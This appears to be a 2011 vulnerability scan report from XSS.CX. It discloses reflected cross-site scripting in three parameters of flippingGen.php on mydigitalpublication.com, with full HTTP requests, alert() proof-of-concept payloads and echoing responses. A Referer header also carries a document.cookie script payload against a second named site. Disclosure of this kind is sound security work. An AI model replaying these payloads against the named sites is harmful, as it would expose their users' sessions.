XSS, mydigitalpublication.com, Cross Site Scripting, CWE-79, CAPEC-86

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by XSS.CX at Thu Mar 17 08:01:47 CDT 2011.

XSS.CX Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.


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1. Cross-site scripting (reflected)

1.1. http://www.mydigitalpublication.com/flippingGen.php [lim parameter]

1.2. http://www.mydigitalpublication.com/flippingGen.php [remToolbars parameter]

1.3. http://www.mydigitalpublication.com/flippingGen.php [roll parameter]

2. HTML does not specify charset


1. Cross-site scripting (reflected)  next
There are 3 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://www.mydigitalpublication.com/flippingGen.php [lim parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.mydigitalpublication.com
Path:   /flippingGen.php

Issue detail

The value of the lim request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9580f"%3balert(1)//65f1ad55b87 was submitted in the lim parameter. This input was echoed as 9580f";alert(1)//65f1ad55b87 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /flippingGen.php?i=62790&m=1432&ttype=monitorstatic&popup=true&h=1&lim=9580f"%3balert(1)//65f1ad55b87&remToolbars=true&roll= HTTP/1.1
Host: www.mydigitalpublication.com
Proxy-Connection: keep-alive
Referer: http://www.sonomafamilylife.com/?afd60%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ef9167255a4e=1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: nginx/0.7.63
Date: Wed, 16 Mar 2011 18:08:45 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
X-Powered-By: PHP/5.3.5
Vary: Accept-Encoding
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Content-Length: 1489

<html>
<head>
<script type="text/javascript" src="http://www.mydigitalpublication.com/javascript/AC_RunActiveContent.js"></script>
<script type="text/javascript">
function pop(dest) {
window.open(
...[SNIP]...
<script type="text/javascript">
var flashvars = "|type=monitor|lim=9580f";alert(1)//65f1ad55b87|roll=|remToolbars=true|0";
AC_FL_RunContent( 'codebase','http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0','width','180','height','180','align','middle','allowScri
...[SNIP]...
1.2. http://www.mydigitalpublication.com/flippingGen.php [remToolbars parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.mydigitalpublication.com
Path:   /flippingGen.php

Issue detail

The value of the remToolbars request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 75e99"%3balert(1)//6ca8e236a61 was submitted in the remToolbars parameter. This input was echoed as 75e99";alert(1)//6ca8e236a61 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /flippingGen.php?i=62790&m=1432&ttype=monitorstatic&popup=true&h=1&lim=&remToolbars=true75e99"%3balert(1)//6ca8e236a61&roll= HTTP/1.1
Host: www.mydigitalpublication.com
Proxy-Connection: keep-alive
Referer: http://www.sonomafamilylife.com/?afd60%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ef9167255a4e=1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: nginx/0.7.63
Date: Wed, 16 Mar 2011 18:08:47 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
X-Powered-By: PHP/5.3.5
Vary: Accept-Encoding
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Content-Length: 1489

<html>
<head>
<script type="text/javascript" src="http://www.mydigitalpublication.com/javascript/AC_RunActiveContent.js"></script>
<script type="text/javascript">
function pop(dest) {
window.open(
...[SNIP]...
<script type="text/javascript">
var flashvars = "|type=monitor|lim=|roll=|remToolbars=true75e99";alert(1)//6ca8e236a61|0";
AC_FL_RunContent( 'codebase','http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0','width','180','height','180','align','middle','allowScriptAccess','always','src
...[SNIP]...
1.3. http://www.mydigitalpublication.com/flippingGen.php [roll parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.mydigitalpublication.com
Path:   /flippingGen.php

Issue detail

The value of the roll request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e38d0"%3balert(1)//507199fcd8b was submitted in the roll parameter. This input was echoed as e38d0";alert(1)//507199fcd8b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /flippingGen.php?i=62790&m=1432&ttype=monitorstatic&popup=true&h=1&lim=&remToolbars=true&roll=e38d0"%3balert(1)//507199fcd8b HTTP/1.1
Host: www.mydigitalpublication.com
Proxy-Connection: keep-alive
Referer: http://www.sonomafamilylife.com/?afd60%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ef9167255a4e=1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: nginx/0.7.63
Date: Wed, 16 Mar 2011 18:08:52 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
X-Powered-By: PHP/5.3.5
Vary: Accept-Encoding
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Content-Length: 1489

<html>
<head>
<script type="text/javascript" src="http://www.mydigitalpublication.com/javascript/AC_RunActiveContent.js"></script>
<script type="text/javascript">
function pop(dest) {
window.open(
...[SNIP]...
<script type="text/javascript">
var flashvars = "|type=monitor|lim=|roll=e38d0";alert(1)//507199fcd8b|remToolbars=true|0";
AC_FL_RunContent( 'codebase','http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0','width','180','height','180','align','middle','allowScriptAcce
...[SNIP]...
2. HTML does not specify charset  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.mydigitalpublication.com
Path:   /favicon.ico

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.

Request

GET /favicon.ico HTTP/1.1
Host: www.mydigitalpublication.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.7.63
Date: Wed, 16 Mar 2011 18:09:23 GMT
Content-Type: text/html
Connection: keep-alive
Vary: Accept-Encoding
Content-Length: 169

<html>
<head><title>404 Not Found</title></head>
<body bgcolor="white">
<center><h1>404 Not Found</h1></center>
<hr><center>nginx/0.7.63</center>
</body>
</html>
Report generated by XSS.CX at Thu Mar 17 08:01:47 CDT 2011.